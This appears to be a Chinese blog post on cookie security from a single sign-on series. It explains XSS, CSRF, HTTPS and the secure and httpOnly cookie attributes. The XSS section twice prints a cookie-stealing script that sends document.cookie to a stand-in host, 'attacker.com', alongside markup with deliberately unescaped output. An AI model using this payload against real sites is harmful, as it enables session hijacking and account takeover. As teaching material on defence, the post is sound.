您好,登錄后才能下訂單哦!
繼續(xù)介紹「單點(diǎn)登錄與權(quán)限管理」系列的第一部分:?jiǎn)吸c(diǎn)登錄與權(quán)限管理本質(zhì),前一篇文章介紹了單點(diǎn)登錄概念,以CAS協(xié)議的基本流程為例講解了系統(tǒng)間的交互過(guò)程,過(guò)程中,cookie的設(shè)置和傳輸涉及的比較多,如何保證cookie的安全性,是這篇文章要介紹的。
安全相關(guān)的知識(shí),了解的也有限,我閱讀了相關(guān)的文章,按照自己的思路、理解,進(jìn)行了梳理和總結(jié)。
如果把安全問(wèn)題按照發(fā)生區(qū)域來(lái)劃分的話,所有發(fā)生在后端服務(wù)器的安全問(wèn)題稱為「后端安全問(wèn)題」,比如SQL注入;所有發(fā)生在瀏覽器、web頁(yè)面中的安全問(wèn)題稱為「前端安全問(wèn)題」,比如XSS跨站腳本***,cookie相關(guān)的問(wèn)題主要在前端。
首先會(huì)介紹下2個(gè)***,XSS可獲取用戶的cookie,CSRF可利用用戶的cookie偽造請(qǐng)求,然后介紹下HTTPS及它的重要性,最后說(shuō)下跨域訪問(wèn)cookie的限制,HTTP設(shè)置cookie時(shí)對(duì)cookie操作的控制。
XSS稱為跨站腳本***,全稱為Cross-Site Scripting,這類安全問(wèn)題發(fā)生的本質(zhì)原因是瀏覽器將***者提供的用戶輸入數(shù)據(jù)當(dāng)做JavaScript腳本執(zhí)行了。
XSS有不同的分類方法,按照惡意腳本是否在應(yīng)用中存儲(chǔ),可以劃分為「存儲(chǔ)型XSS」和「反射性XSS」;按照是否和服務(wù)端有交互,可以劃分為「Server Side XSS」和「DOM based XSS」。
場(chǎng)景說(shuō)明:一些系統(tǒng),在用戶輸入或操作錯(cuò)誤后,會(huì)跳轉(zhuǎn)到錯(cuò)誤信息提示頁(yè)面,服務(wù)器根據(jù)傳入的message顯示不同的錯(cuò)誤信息。
如果服務(wù)端不對(duì)message進(jìn)行過(guò)濾,就會(huì)收到XSS***,比如請(qǐng)求URL:
https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script>
頁(yè)面顯示
<input type="text" value="${msg}">
如果被***者通過(guò)訪問(wèn)這個(gè)惡意的URL,就會(huì)把cookie發(fā)給***,***截獲cookie,就能執(zhí)行用戶的任意操縱。
對(duì)于保存型XSS,腳本通常保存在后端數(shù)據(jù)庫(kù)中,不經(jīng)過(guò)濾就存儲(chǔ)并顯示給用戶。與反射型的流程不同的是,需要至少兩次請(qǐng)求,第一次將含有惡意代碼的數(shù)據(jù)提交給服務(wù)器,保存到數(shù)據(jù)庫(kù),第二次是受害者訪問(wèn)含有惡意代碼的頁(yè)面,惡意代碼執(zhí)行。
其實(shí)也是反射型的一種,因?yàn)橐彩峭ㄟ^(guò)url控制頁(yè)面的輸出,不同點(diǎn)只是輸出地點(diǎn)不同而導(dǎo)致結(jié)果不一致。
加入請(qǐng)求URL和反射XSS相同:
https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script>
顯示頁(yè)面如下:
<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg");
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>
防御XSS最佳的做法是對(duì)數(shù)據(jù)進(jìn)行嚴(yán)格的輸出編碼,使得***者提供的數(shù)據(jù)不再被瀏覽器認(rèn)為是腳本而被誤執(zhí)行。
CSRF稱為跨站請(qǐng)求偽造,全稱是Cross Site Request Forgery,它可以在受害者毫不知情的情況下,以受害者的名義偽造請(qǐng)求發(fā)送給受***站點(diǎn)。
場(chǎng)景說(shuō)明:小米金融網(wǎng)站A,有一個(gè)如下的轉(zhuǎn)賬接口
http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000
***H有一個(gè)網(wǎng)站B,在網(wǎng)站中放入如下代碼,通過(guò)廣告誘使受害者點(diǎn)擊。如果受害者之前登錄過(guò)網(wǎng)站A,且session還未過(guò)期,就會(huì)在受害者不知情的情況下,成功轉(zhuǎn)賬給***。
<a ></a>
可以通過(guò)驗(yàn)證HTTP Referer字段、在請(qǐng)求地址中添加token并驗(yàn)證、在HTTP頭中自定義屬性并驗(yàn)證等方法進(jìn)行解決;
建議所有對(duì)外網(wǎng)開放的站點(diǎn)都通過(guò)HTTPS,它是在HTTP協(xié)議的基礎(chǔ)上,加入了SSL層,對(duì)數(shù)據(jù)進(jìn)行加密處理。
通過(guò)HTTPS協(xié)議,cookie在傳輸?shù)倪^(guò)程中,即使被別人劫持到請(qǐng)求,也不知道實(shí)際的cookie是什么,無(wú)法偽造其他的請(qǐng)求。
HTTPS相關(guān)的介紹在網(wǎng)上很多,這里描述下交互過(guò)程:
總結(jié)下:
cookie如此重要,在瀏覽器端,如果一個(gè)網(wǎng)站可以訪問(wèn)其他網(wǎng)站的cookie,肯定不行的,所以瀏覽器是不允許跨域訪問(wèn)cookie的,提高了Cookie的安全性。
在前面的文章 session和cookie介紹 中,已經(jīng)介紹了cookie的作用域,主要是說(shuō)一級(jí)域名相同情況下如何共享使用cookie。
如果想實(shí)現(xiàn)跨域訪問(wèn),可以通過(guò)JSONP、CORS的方法實(shí)現(xiàn)。
另外,HTTP設(shè)置cookie時(shí),提供了2個(gè)屬性,可以增強(qiáng)cookie的安全性,分別是secure屬性和httpOnly屬性。
secure屬性可防止信息在傳遞的過(guò)程中被監(jiān)聽捕獲后導(dǎo)致信息泄露,如果設(shè)置為true,可以限制只有通過(guò)https訪問(wèn)時(shí),才會(huì)將瀏覽器保存的cookie傳遞到服務(wù)端,如果通過(guò)http訪問(wèn),不會(huì)傳遞cookie。
httpOnly屬性可以防止程序獲取cookie,如果設(shè)置為true,通過(guò)js等將無(wú)法讀取到cookie,能有效的防止XSS***。
通過(guò)本篇文章的介紹,為了保障cookie的安全性,應(yīng)要求通過(guò)HTTPS進(jìn)行訪問(wèn),在編寫代碼時(shí)充分考慮,盡量避免XSS、CSRF等cookie相關(guān)的***方法。同時(shí),瀏覽器和HTTP本身也對(duì)cookie的訪問(wèn)控制進(jìn)行了考慮。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。